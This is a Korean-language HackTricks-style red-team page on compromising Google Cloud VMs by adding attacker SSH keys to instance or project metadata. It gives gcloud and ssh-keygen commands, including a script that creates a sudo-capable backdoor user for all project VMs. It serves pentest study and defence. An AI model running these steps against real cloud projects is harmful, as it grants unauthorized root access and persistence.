GCP - Add Custom SSH Metadata

GCP - 사용자 정의 SSH 메타데이터 추가

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배우세요

HackTricks를 지원하는 다른 방법:

메타데이터 수정

인스턴스의 메타데이터 수정은 공격자가 필요한 권한을 획들할 경우 중대한 보안 위험으로 이어질 수 있습니다.

사용자 정의 메타데이터에 SSH 키 통합

GCP에서 Linux 시스템은 종종 Google Compute Engine용 Python Linux 게스트 환경에서 스크립트를 실행합니다. 이 작업의 중요한 구성 요소는 계정 데몬으로, 이는 인스턴스 메타데이터 엔드포인트를 정기적으로 확인하여 인증된 SSH 공개 키에 대한 업데이트를 확인합니다.

따라서 공격자가 사용자 정의 메타데이터를 수정할 수 있다면, 데몬이 새로운 공개 키를 찾아서 처리하고 로컬 시스템에 통합할 수 있습니다. 이 키는 기존 사용자의 ~/.ssh/authorized_keys 파일에 추가되거나 키의 형식에 따라 sudo 권한이 있는 새 사용자가 생성될 수 있습니다. 그리고 공격자는 호스트를 compromise할 수 있게 됩니다.

기존 권한이 있는 사용자에게 SSH 키 추가

  1. 인스턴스의 기존 SSH 키 확인:

  • 인스턴스 및 해당 메타데이터를 설명하는 명령을 실행하여 기존 SSH 키를 찾습니다. 출력의 관련 섹션은 metadata 아래에 있으며 특히 ssh-keys 키 아래에 있을 것입니다.

gcloud compute instances describe [INSTANCE] --zone [ZONE]
  • SSH 키의 형식에 주의하십시오: 사용자 이름이 콜론으로 구분된 키 앞에 옵니다.

  1. SSH 키 메타데이터용 텍스트 파일 준비:

  • 사용자 이름과 해당 SSH 키의 세부 정보를 meta.txt라는 텍스트 파일에 저장합니다. 이는 새 키를 추가하는 동안 기존 키를 보존하는 데 중요합니다.

  1. 대상 사용자(alice 예시)를 위한 새 SSH 키 생성:

  • ssh-keygen 명령을 사용하여 새 SSH 키를 생성하고, 주석 필드(-C)가 대상 사용자 이름과 일치하도록 합니다.

ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • 인스턴스 메타데이터에서 발견된 형식을 모방하여 새 공개 키를 meta.txt에 추가합니다.

  1. 인스턴스의 SSH 키 메타데이터 업데이트:

  • gcloud compute instances add-metadata 명령을 사용하여 인스턴스에 업데이트된 SSH 키 메타데이터를 적용합니다.

gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
  1. 새 SSH 키를 사용하여 인스턴스에 액세스:

  • 새 키를 사용하여 SSH로 인스턴스에 연결하여 대상 사용자(alice 예시)의 쉘에 액세스합니다.

ssh -i ./key alice@localhost
sudo id

새로운 권한이 있는 사용자 생성 및 SSH 키 추가

흥미로운 사용자를 찾을 수 없는 경우, sudo 권한이 부여된 새 사용자를 생성할 수 있습니다:

# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

프로젝트 수준의 SSH 키

프로젝트 수준에 SSH 키를 적용하여 클라우드 환경의 여러 가상 머신(VM)에 대한 SSH 액세스 범위를 확대할 수 있습니다. 이 접근 방식은 프로젝트 내의 모든 인스턴스에 SSH 액세스를 허용하며, 해당 프로젝트 수준에서 SSH 키가 명시적으로 차단되지 않은 경우에만 적용됩니다. 아래는 요약된 가이드입니다:

  1. 프로젝트 수준에 SSH 키 적용:

  • gcloud compute project-info add-metadata 명령을 사용하여 meta.txt에서 SSH 키를 프로젝트 메타데이터에 추가합니다. 이 작업을 통해 SSH 키가 프로젝트 내의 모든 VM에서 인식되도록합니다. 단, VM이 "프로젝트 전체 SSH 키 차단" 옵션을 활성화하지 않은 경우입니다.

gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. 프로젝트 전체 키를 사용하여 인스턴스에 SSH:

  • 프로젝트 전체 SSH 키가 설정되어 있으면 프로젝트 내의 모든 인스턴스에 SSH할 수 있습니다. 프로젝트 전체 키를 차단하지 않은 인스턴스는 SSH 키를 수락하여 액세스를 허용합니다.

  • 인스턴스에 직접 SSH하는 방법은 gcloud compute ssh [INSTANCE] 명령을 사용하는 것입니다. 이 명령은 현재 사용자 이름과 프로젝트 수준에서 설정된 SSH 키를 사용하여 액세스를 시도합니다.

참고 자료

最終更新